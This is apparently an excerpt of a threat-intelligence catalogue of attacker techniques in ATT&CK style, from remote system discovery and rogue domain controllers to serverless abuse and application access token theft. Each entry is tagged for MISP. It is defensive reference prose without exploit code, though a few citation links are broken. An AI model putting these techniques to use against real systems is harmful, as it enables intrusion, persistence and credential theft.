The tag is: *misp-galaxy:technique="Remote Service Session Hijacking"*

Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://app.tidalcyber.com/software/4ea12106-c0a1-4546-bb64-a1675d9f5dc7), <code>net view</code> using [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc), or, on ESXi servers, `esxcli network diag ping`.

Adversaries may also analyze data from local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://app.tidalcyber.com/software/45b51950-6190-4572-b1a2-7c69d865251e) cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[CISA AR21-126A FIVEHANDS May 2021](https://app.tidalcyber.com/references/f98604dd-2881-4024-8e43-6f5f48c6c9fa)]}

The tag is: *misp-galaxy:technique="Remote System Discovery"*

Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.^{[[Exploiting Smartphone USB](https://app.tidalcyber.com/references/573796bd-4553-4ae1-884a-9af71b5de873)]} This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.^{[[Windows Malware Infecting Android](https://app.tidalcyber.com/references/3733386a-14bd-44a6-8241-a10660ba25d9)]}^{[[iPhone Charging Cable Hack](https://app.tidalcyber.com/references/b8bb0bc5-e131-47b5-8c42-48cd3dc25250)]} For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

The tag is: *misp-galaxy:technique="Replication Through Removable Media"*

Resource Hijacking

Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

Resource hijacking may take a number of different forms. For example, adversaries may:

- Leverage compute resources in order to mine cryptocurrency
- Sell network bandwidth to proxy networks
- Generate SMS traffic for profit
- Abuse cloud-based messaging services to send large quantities of spam messages

In some cases, adversaries may leverage multiple types of Resource Hijacking at once.^{[[Sysdig Cryptojacking Proxyjacking 2023](https://app.tidalcyber.com/references/aa0820ed-62ae-578a-adbe-e6597551f069)]}

The tag is: *misp-galaxy:technique="Resource Hijacking"*

Rogue Domain Controller

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. ^{[[DCShadow Blog](https://app.tidalcyber.com/references/37514816-b8b3-499f-842b-2d8cce9e140b)]} Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. ^{[[Adsecurity Mimikatz Guide](https://app.tidalcyber.com/references/b251ed65-a145-4053-9dc2-bf0dad83d76c)]}

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). ^{[[DCShadow Blog](https://app.tidalcyber.com/references/37514816-b8b3-499f-842b-2d8cce9e140b)]} The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://app.tidalcyber.com/technique/dcb323f0-0fe6-4e26-9039-4f26f10cd3a5) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. ^{[[DCShadow Blog](https://app.tidalcyber.com/references/37514816-b8b3-499f-842b-2d8cce9e140b)]}

The tag is: *misp-galaxy:technique="Rogue Domain Controller"*

Rootkit

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. ^{[[Symantec Windows Rootkits](https://app.tidalcyber.com/references/5b8d9094-dabf-4c29-a95b-b90dbcf07382)]}

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://app.tidalcyber.com/technique/4050dbda-5cb0-4bd6-8444-841e55611f3a). ^{[[Wikipedia Rootkit](https://app.tidalcyber.com/references/7e877b6b-9873-48e2-b138-e02dcb5268ca)]} Rootkits have been seen for Windows, Linux, and Mac OS X systems. ^{[[CrowdStrike Linux Rootkit](https://app.tidalcyber.com/references/eb3590bf-ff12-4ccd-bf9d-cf8eacd82135)]} ^{[[BlackHat Mac OSX Rootkit](https://app.tidalcyber.com/references/e01a6d46-5b38-42df-bd46-3995d38bb60e)]}

The tag is: *misp-galaxy:technique="Rootkit"*

Scheduled Task/Job

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.^{[[TechNet Task Scheduler Security](https://app.tidalcyber.com/references/3a6d08ba-d79d-46f7-917d-075a98c59228)]}

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://app.tidalcyber.com/technique/4060ad55-7ff1-4127-acad-808b2bc77655), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.^{[[ProofPoint Serpent](https://app.tidalcyber.com/references/c2f7958b-f521-4133-9aeb-c5c8fae23e78)]}

The tag is: *misp-galaxy:technique="Scheduled Task/Job"*

Scheduled Transfer

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://app.tidalcyber.com/technique/89203cae-d3f1-4eef-9b5a-29042eb05d19) or [Exfiltration Over Alternative Protocol](https://app.tidalcyber.com/technique/192d25ea-bae1-48e4-

88de-e0acd481ab88).

The tag is: *misp-galaxy:technique="Scheduled Transfer"*

Screen Capture

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.^{[[CopyFromScreen .NET](https://app.tidalcyber.com/references/b9733af4-ffb4-416e-884e-d51649aecbce)]}^{[[Antiquated Mac Malware](https://app.tidalcyber.com/references/165edb01-2681-45a3-b76b-4eb7dee5dab9)]}

The tag is: *misp-galaxy:technique="Screen Capture"*

Search Closed Sources

Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.^{[[ZDNET Selling Data](https://app.tidalcyber.com/references/61d00ae2-5494-4c6c-8860-6826e701ade8)]}

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70) or [Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)), and/or initial access (ex: [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) or [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406)).

The tag is: *misp-galaxy:technique="Search Closed Sources"*

Search Open Technical Databases

Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.^{[[WHOIS](https://app.tidalcyber.com/references/fa6cba30-66e9-4a6b-85e8-a8c3773a3efe)]}^{[[DNS Dumpster](https://app.tidalcyber.com/references/0bbe1e50-28af-4265-a493-4bb4fd693bad)]}<sup>[[Circl Passive DNS](https://app.tidalcyber.com/references/c19f8683-

97fb-4e0c-a9f5-12033b1d38ca)]</sup>^{[[Medium SSL Cert](https://app.tidalcyber.com/references/6502425f-3435-4162-8c96-9e10a789d362)]}^{[[SSLShopper Lookup](https://app.tidalcyber.com/references/a8dc493f-2021-48fa-8f28-afd13756b789)]}^{[[DigitalShadows CDN](https://app.tidalcyber.com/references/183a070f-6c8c-46e3-915b-6edc58bb5e91)]}^{[[Shodan](https://app.tidalcyber.com/references/a142aceb-3ef5-4231-8771-bb3b2dae9acd)]}

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) or [Compromise Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d)), and/or initial access (ex: [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) or [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf)).

The tag is: *misp-galaxy:technique="Search Open Technical Databases"*

Search Open Websites/Domains

Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.^{[[Cyware Social Media](https://app.tidalcyber.com/references/e6136a63-81fe-4363-8d98-f7d1e85a0f2b)]}^{[[SecurityTrails Google Hacking](https://app.tidalcyber.com/references/3e7fdeaf-24a7-4cb5-8ed3-6057c9035303)]}^{[[ExploitDB GoogleHacking](https://app.tidalcyber.com/references/29714b88-a1ff-4684-a3b0-35c3a2c78947)]}

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) or [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533)).

The tag is: *misp-galaxy:technique="Search Open Websites/Domains"*

Search Victim-Owned Websites

Adversaries may search websites owned by the victim for information that can be used during

targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://app.tidalcyber.com/technique/2eee984c-ea00-4284-b3eb-fd0c603a5a80)). These sites may also have details highlighting business operations and relationships.^{[[Comparitech Leak](https://app.tidalcyber.com/references/fa0eac56-45ea-4628-88cf-b843874b4a4d)]}

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf) or [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533)).

In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://app.tidalcyber.com/technique/a0e40412-cbfb-477b-87fc-40f2c84d26be), as well as by leveraging files such as sitemap.xml and robots.txt.^{[[Perez Sitemap XML 2023](https://app.tidalcyber.com/references/b52dcca4-19cb-5b95-9c5e-8b5c81fd986f)]}^{[[Register Robots TXT 2015](https://app.tidalcyber.com/references/0027a941-bc2d-54e3-9adf-85333d68b244)]}

The tag is: *misp-galaxy:technique="Search Victim-Owned Websites"*

Serverless Execution

Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.

Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking]([Cado Security Denonia (https://app.tidalcyber.com/references/584e7ace-ef33-423b-9801-4728a447cb34)]</sup> Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://app.tidalcyber.com/technique/71867386-ddc2-4cdb-a0c9-7c27172c23c1) to a serverless cloud function, which may then be able to perform actions the original user cannot.^{[[Rhino Security Labs AWS Privilege Escalation](https://app.tidalcyber.com/references/693e5783-4aa1-40ce-8080-cec01c3e7b59)]}^{[[Rhingo Security Labs GCP Privilege Escalation](https://app.tidalcyber.com/references/55373476-1cbe-49f5-aecb-69d60b336d38)]}

Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://app.tidalcyber.com/technique/e1e42979-d3cd-461b-afc4-a6373cbf97ba)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://app.tidalcyber.com/technique/0799f2ee-3a83-452e-9fa9-83e91d83be25) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.^{[[Backdooring an AWS account](https://app.tidalcyber.com/references/2c867527-1584-44f7-b5e5-8ca54ea79619)]} This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.^{[[Varonis Power Automate Data Exfiltration](https://app.tidalcyber.com/references/16436468-1daf-433d-bb3b-f842119594b4)]}^{[[Microsoft DART Case Report 001](https://app.tidalcyber.com/references/bd8c6a86-1a63-49cd-a97f-3d119e4223d4)]} In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.^{[[Cloud Hack Tricks GWS Apps Script](https://app.tidalcyber.com/references/32569f13-e383-576c-813c-52490450464d)]}^{[[OWN-CERT Google App Script 2024](https://app.tidalcyber.com/references/1f837b2d-6b45-57ed-8d34-a78ce88cb998)]}

The tag is: *misp-galaxy:technique="Serverless Execution"*

Server Software Component

Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.^{[[volexity_0day_sophos_FW](https://app.tidalcyber.com/references/85bee18e-216d-4ea6-b34e-b071e3f63382)]}

The tag is: *misp-galaxy:technique="Server Software Component"*

Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}^{[[Novetta Blockbuster](https://app.tidalcyber.com/references/bde96b4f-5f98-4ce5-a507-4b05d192b6d7)]}

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.^{[[Novetta Blockbuster](https://app.tidalcyber.com/references/bde96b4f-5f98-4ce5-a507-4b05d192b6d7)]} In some cases, adversaries may stop or disable many or all services to render systems unusable.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]} Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in

order to conduct [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) or [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.^{[[SecureWorks WannaCry Analysis](https://app.tidalcyber.com/references/522b2a19-1d15-48f8-8801-c64d3abd945a)]}^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}

The tag is: *misp-galaxy:technique="Service Stop"*

Shared Modules

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560)).

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.

The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.^{[[Apple Dev Dynamic Libraries](https://app.tidalcyber.com/references/39ffd162-4052-57ec-bd20-2fe6b8e6beab)]}^{[[Linux Shared Libraries](https://app.tidalcyber.com/references/054d769a-f88e-55e9-971a-f169ee434cfe)]}^{[[RotaJakiro 2021 netlab360 analysis](https://app.tidalcyber.com/references/7a9c53dd-2c0e-5452-9ee2-01531fbf8ba8)]}^{[[Unit42 OceanLotus 2017](https://app.tidalcyber.com/references/fcaf57f1-6696-54a5-a78c-255c8f6ac235)]}

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) which is called from functions like `LoadLibrary` at run time.^{[[Microsoft DLL](https://app.tidalcyber.com/references/f0ae2788-537c-5644-ba1b-d06a612e73c1)]}

The tag is: *misp-galaxy:technique="Shared Modules"*

Software Deployment Tools

Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune,

Azure Arc, and GCP Deployment Manager.

Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://app.tidalcyber.com/technique/944a7b91-c58e-567d-9e2c-515b93713c50) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.^{[[SpecterOps Lateral Movement from Azure to On-Prem AD 2020](https://app.tidalcyber.com/references/eb97d3d6-21cb-5f27-9a78-1e8576acecdc)]} Such services may also utilize [Web Protocols](https://app.tidalcyber.com/technique/9a21ec7b-9714-4073-9bf3-4df41995c698) to communicate back to adversary owned infrastructure.^{[[Mitiga Security Advisory: SSM Agent as Remote Access Trojan](https://app.tidalcyber.com/references/88fecbcd-a89b-536a-a1f6-6ddfb2b452da)]}

Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.^{[[Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation](https://app.tidalcyber.com/references/a43dd8ce-23d6-5768-8522-6973dc45e1ac)]}

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.

The tag is: *misp-galaxy:technique="Software Deployment Tools"*

Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://app.tidalcyber.com/technique/e9bff6ff-3142-4910-8f67-19b868912602) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://app.tidalcyber.com/technique/1bcf9fb5-6848-44d9-b394-ffbd3c357058), and may allow adversaries broad access to infect devices or move laterally.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c).

The tag is: *misp-galaxy:technique="Software Discovery"*

Software Extensions

Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.^{[[Chrome Extension C2 Malware](https://app.tidalcyber.com/references/b0fdf9c7-614b-4269-ba3e-7d8b02aa8502)]}^{[[Abramovsky VSCode Security](https://app.tidalcyber.com/references/8ace39ea-cd89-50b9-9aa7-3df8b4b1db6d)]} Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application.

Malicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls.

The modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.

The tag is: *misp-galaxy:technique="Software Extensions"*

Stage Capabilities

Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70)) or obtained ([Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3)) or was otherwise compromised by them ([Compromise Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.^{[[Volexity Ocean Lotus November 2020](https://app.tidalcyber.com/references/dbea2493-7e0a-47f0-88c1-5867f8bb1199)]}^{[[Dragos Heroku Watering Hole](https://app.tidalcyber.com/references/8768909c-f511-4067-9a97-6f7dee24f276)]}^{[[Malwarebytes Heroku Skimmers](https://app.tidalcyber.com/references/4656cc2c-aff3-4416-b18d-995876d37e06)]}^{[[Netskope GCP Redirection](https://app.tidalcyber.com/references/18efeffc-c47b-46ad-8e7b-2eda30a406f0)]}^{[[Netskope Cloud Phishing](https://app.tidalcyber.com/references/25d46bc1-4c05-48d3-95f0-aa3ee1100bf9)]}

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct [Drive-by Compromise](https://app.tidalcyber.com/technique/d4e46fe1-cc6d-4ef0-af72-a4e8dcd71381) when a user browses to a site.^{[[FireEye CFR Watering Hole 2012](https://app.tidalcyber.com/references/6108ab77-e4fd-43f2-9d49-8ce9c219ca9c)]}^{[[Gallagher 2015](https://app.tidalcyber.com/references/b1540c5c-0bbc-4b9d-9185-fae224ba31be)]}^{[[ATT ScanBox](https://app.tidalcyber.com/references/48753fc9-b7b7-465f-92a7-fb3f51b032cb)]}
- Staging web resources for a link target to be used with spearphishing.^{[[Malwarebytes Silent Librarian October 2020](https://app.tidalcyber.com/references/9bb8ddd0-a8ec-459b-9983-79ccf46297ca)]}^{[[Proofpoint TA407 September 2019](https://app.tidalcyber.com/references/e787e9af-f496-442a-8b36-16056ff8bfc1)]}
- Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer]([Volexity Ocean Lotus November 2020(https://app.tidalcyber.com/references/dbea2493-7e0a-47f0-88c1-5867f8bb1199)]</sup>
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://app.tidalcyber.com/technique/ce822cce-f7f1-4753-bff1-12e5bef66d53) with [Web Protocols]([DigiCert Install SSL Cert(https://app.tidalcyber.com/references/a1d7d368-6092-4421-99de-44e458deee21)]</sup>

The tag is: *misp-galaxy:technique="Stage Capabilities"*

Steal Application Access Token

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).^{[[Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019](https://app.tidalcyber.com/references/8ec52402-7e54-463d-8906-f373e5855018)]} Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container's token and thereby gain access to Kubernetes API commands.^{[[Kubernetes Service Accounts](https://app.tidalcyber.com/references/a74ffa28-8a2e-4bfd-bc66-969b463bebd9)]}

Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.^{[[Cider Security Top 10 CICD Security Risks](https://app.tidalcyber.com/references/512974b7-b464-52af-909a-2cb880b524e5)]} If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.

In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.^{[[Entra Managed Identities 2025](https://app.tidalcyber.com/references/fdfbccf4-6c94-56a4-b208-b89d28ec2463)]}^{[[SpecterOps Managed Identity 2022](https://app.tidalcyber.com/references/b1dfe16a-c216-5fc7-ba76-b0c71bfebd29)]}

Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.^{[[Microsoft Identity Platform Protocols May 2019](https://app.tidalcyber.com/references/a99d2292-be39-4e55-a952-30c9d6a3d0a3)]}^{[[Microsoft - OAuth Code Authorization flow - June 2019](https://app.tidalcyber.com/references/a41c2123-8b8d-4f98-a535-e58e3e746b69)]} An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.^{[[Amnesty OAuth Phishing Attacks, August 2019](https://app.tidalcyber.com/references/0b0f9cf6-f0af-4f86-9699-a63ff36c49e2)]}^{[[Trend Micro Pawn Storm OAuth 2017](https://app.tidalcyber.com/references/7d12c764-facd-4086-acd0-5c0287344520)]} The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.^{[[Microsoft - Azure AD App Registration - May 2019](https://app.tidalcyber.com/references/36a06c99-55ca-4163-9450-c3b84ae10039)]} Then, they can send a [Spearphishing Link](https://app.tidalcyber.com/technique/d08a9977-9fc2-46bb-84f9-dbb5187c426d) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token]([Microsoft - Azure AD Identity Tokens - Aug 2019 (https://app.tidalcyber.com/references/44767d53-8cd7-44dd-a69d-8a7bebc1d87d)]</sup>

